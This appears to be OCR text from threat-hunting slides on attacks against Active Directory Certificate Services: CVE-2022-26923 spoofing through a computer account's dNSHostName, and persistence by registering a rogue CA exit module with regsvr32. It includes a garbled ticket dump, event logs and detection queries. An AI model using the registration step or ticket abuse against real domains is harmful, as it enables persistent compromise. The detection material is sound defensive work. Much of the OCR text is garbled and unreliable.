f1861dn:«aryeehsseOchRszHAs‘.:gxhzccB+lgyf~12VvquD7u7tcepzF6H7EFRjH+a/nth5fv7cth Ticket Optlons: 040800010
jMKM3dhA©20eL TpOpD2DQMA79IfIpqq3kiOmeePKrN2QXxv61fzgQdcACKxh3DtAgnEbgw
2QICMWNNHa681g3U2I0EgdVcVaR9ba7i+813A0g2xPhaYrQMnxKdIAZqHViFX4@R6vgUO0SqOctat+ba Result Code: Ox0
uan8CMBXOEyinWety6QBd7etLP2fhpFzaHhD1bESRS8Ldj9RBIsVUEIZjTeAR1P2QIGq8HNmMyqoKHSQ8 - -
MeqjgcswgcigAwIBAKKBWASBYX2BujCBt6CBtDCBSTCBrgAbMBmgAWIBF6ESBBCFXMmMEYSCFUEOTDVUe Ticket Encryptlon Type: 0x17
zAFGWN3CySjBwMFAEDhAAC1ERgPH = . - =
NDVaphEYDzIwMjIwNTE2MDcyMzQ1WqcRGA8YMDIyMDUyMjIXMjMONVqoDBSKREVNTYSMTONBTKkTMB2g pre AUthentlcatlon Type' 16
AwIBAQEWMBQbBmtyYnRndBsKZGVtby5sb2NhbA==
ServiceName :  krbtgt/demo.local Certificate Information:
ServiceRealm :  DEMO.LOCAL -
UserName : us$ Certificate Issuer Name: ws$
UserRealm :  DEMO.LOCAL g - .
e  SiEn e Certificate Serial Number: 614E61B38C531489
EndTine : 5/16/2022 8:23:45 AN Certificate Thumbprint: 1437C371796FEOAD411DAETFES7382BF604AC5BC
RenewTill : 5/22/2022 10
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable

KeyType :  rc4_hmac
teses4(key) ¢onzisu(n7neEwlbnrTesg==




CVE-2022-26923 vulnerability. Useful events

Detect new computer accounts, and changes of old ones where dNSHostName is set the same as a DCs’ or differ from the machine
name:

@ Event Properties - Event 4742, Microsoft Windows security auditing. 2] Event Properties - Event 4741, Microsoft Windows security auditing.

General  Details General Details

A computer account was changed.

Subject:

Il

A computer account was created.

SuﬁJ\J ect:

: Security |D: DEMO\simpleuser
Security ID: DEMOYWSS Account Name: simpleuser
Account Name: WSS Account Domain: DEMO
Account Domain: DEMO Logon ID: Oxd1FAIFA
Logon ID: O 187C09

MNew Computer Account:

Computer Account That Was Changed: Security |D: DEMOh\evilmachine$
Security ID: DEMOYWSS Account Name: evilmachine$
Account Mame: WsE Account Domain: DEMO
Account Domain: DEMO

Attributes:
Changed Attributes: Sl_\M Account Name: evilmachine$
SAM Account Name: - Diplay Mo )
il Bl ) User Pr|r1-C|pa| Marne: -
ERayied Home Directory: -
User Principal Name: - e R
Home Director}r: - Script Path: i
Home Drive: = Profile Path: -
Script Path: = User Workstations: =
Profile Path: - Password Last Set: 5/19/2022 1:39:58 AM

User Workstations:
Password Last Set:
Account Expires:
Primary Group [D: -
AllowedToDelegateT o:
Old UAC Value:

Mew UAC Value:

User Account Control:

Account Expires:
Primary Group ID: 515
AllowedToDelegateTo:
Old UAC Value:

MNew UAC Value:

User Account Control:

< NEVEr>

]
080

"Workstation Trust Account' - Enabled

User Parameters: -

SID History: =
User Parameters: - [mml, :r?:,,;. <value not set>
51D History: = DNS Host Name: de.demo.local
Logon Hours: = Service Principal Names:
I DMS Host Mame: dc.demo.local I HOS5T/evilmachine
http 5 :/ t me/Feaﬁfrﬂg:ﬁlélfg\es - RestrictedKrbHost/evilmachine
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CVE-2022-26923 vulnerability. Let’'s hunt it!

Search for changes to the dNSHostName of the computer account or the creation of a new machine with the
specified dNSHostName as a DCs’:

EventID:(4741 OR 4742) AND DnsHostName:("dc.demo.local" OR "dc2.demo.local")

Time + EventID TargetUserName DnsHostName
> May 19, 2022 @ 03:40:00.447 4741 evilmachine$ dc.demo.local
> May 19, 2022 @ 03:19:5:D © 4742 WSS dc.demo.local

Also use other previously discussed hunts for detect usage of usage DCs’ account for domain authentication via
PKINIT.
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Persistence via Certification Authority Modules

* Policy modules are DLL that receive requests from the Certificate
Services, evaluate those requests, and specify optional properties

C:\Windows\system32>regsvr32 C:\Windows\System32\evilexitmodule.dll &

2gs

i o . RegSvr32
of the certificates that are built to fill these requests. ?
* A policy module may view existing certificate properties and R —==—t==leo=_amaras
extensions, and it may also view request attributes and properties.
In addition, a policy module may set or modify certificate
extensions and some other properties. v
e Exit modules are DLL that receive notifications from the CA when demo-CA Properties 7 X
operations such as the issuance of a certificate occur. A typical —e— e g
operation for an exit module is to publish a completed certificate e T e
ENeral oicy Module
in a specified location. I
« An exit module may view existing certificate properties and

extensions, and it may also view request attributes and properties.
An exit module cannot, however, modify any properties.

Remove
Description of selected exit module
MName: Cerification_Authorty_Evil_Exit_Module
Description: Certification_Authority _Ewvil_Bxit_Module
Version: v10
Copyright: (c) 2022
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Persistence via Certification Authority Modules

§ Registry Editor - O X
B Registry
File Edit View Favorites Help
v - | CertSvc A || Name Type Data
v-§ C°"f'9”’atgz‘ {ab](Default)  REG 57 (value not set)
v demc‘;'p ab]Active  REG_MU... CertificateAuthority_MicrosoftDefault.Exit|Certification_Authority_Evil_Exit_Module.Exit
----- EncryptionCSP
vi ExitModules > 3 :
v | CettificateAuthority_| B Registry Editor - B X
e ; S " > ( FiAIe Edit View Favorites Help
ComputeA HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl{ ¥ "1 Certification Authority Evil Bxit Modulebxit A || Name Type  Data v
""" ESE {36 (Default) REG.SZ  {D2075560-C2C8-11D2-B313-00CO4F79DC 72}
AAAAAA CurVer
i Registry Editor - m|
B Registry
File Edit View Favorites Help
v {D2075560-C2C8-11D2-B313-00CO4F79DCT2} p || Name Fige: | Data 3
5 L"P“:BSEWE":"'Z (3] (Default)  REG.S7  CAWindows\System3aevilextrmodule.dil
N 35| Threadi.. REG.SZ both
frn VersionIndependentProglD
B Process Monitor - Sysinternals: www.sysinternals.com
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File

=

Edit

b |

Event Filter Tools Options Help

l\v0|s'a\45,0

Eac =]

Time ... Process Name FID'  Operation Result
6:170... certsry exe 2656 <2 Load Image C:\Windows‘-,System32‘\evileodtmcdule.dII SUCCESS |
6:17:0... certsrv exe 2656 ' CreateFile CAWindows' System 32 evilexitmodule dl SUCCESS |
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Persistence via Certification Authority Modules

Useful events

Detect modification of certificate authority modules
registry keys.

{2 Event Properties - Event 4891, Microsoft Windows security auditing.

General Details

A configuration entry changed in Certificate Services.

Mode: ExitModules

Entry:  Active

Value: Certificatefuthority_MicrosoftDefault.Exit
Certification_Authority_Evil_Exit_Module.Exit

https://t.me/learningnets

{2] Event Properties - Event 13, Sysmon

General Details

Registry value set:

RuleMame: Certificate Authority

EventType: SetValue

UtcTime: 2022-05-19 02:32:54.375

ProcessGuid: {35a1a30f-acdf-6285-f400-000000007200}

Processld: 2824

Image: C:\Windows\system32\certsrv.exe

[TargetObject: HKLM\System\ CurrentControlSet\Services\CertSvc\Configuration\demo-CA
\ExitModules\Active

Details: Binary Data
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Certification Authority Modules. Let’s hunt it!

Search for modification of certificate authority modules registry keys:

EventID:13 AND TargetObject.keyword:/HKLM\\System\\CurrentControlSet\\Services\\CertSvc\\Configuration\\.*/ AND
TargetObject.keyword:/. *\\(ExitModules [ PolicyModules)\\Active.*/

Time « EventID TargetObject
> May 19, 2022 @ 05:32:56.506 13 HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\demo-CA\ExitModules\Active
> May 16, 2022 @ 22:29:34.409 13 HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\demo-CA\PolicyModules\Active

Search for modification of certificate authority modules registry keys:
EventiD:4891 AND Node:("ExitModules" OR "PolicyModules")

Time + EventID Node Value
> May 19, 2022 @ 05:32:56.506 4891 ExitModules CertificateAuthority_MicrosoftDefault.Exit
Certification_Authority_Evil_Exit_Module.Exit
> May 16, 2022 @ 22:26:3t@® © 4891 PolicyModules CertAuthority_Sample.Policy
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Questions?

https://t.me/learningnets



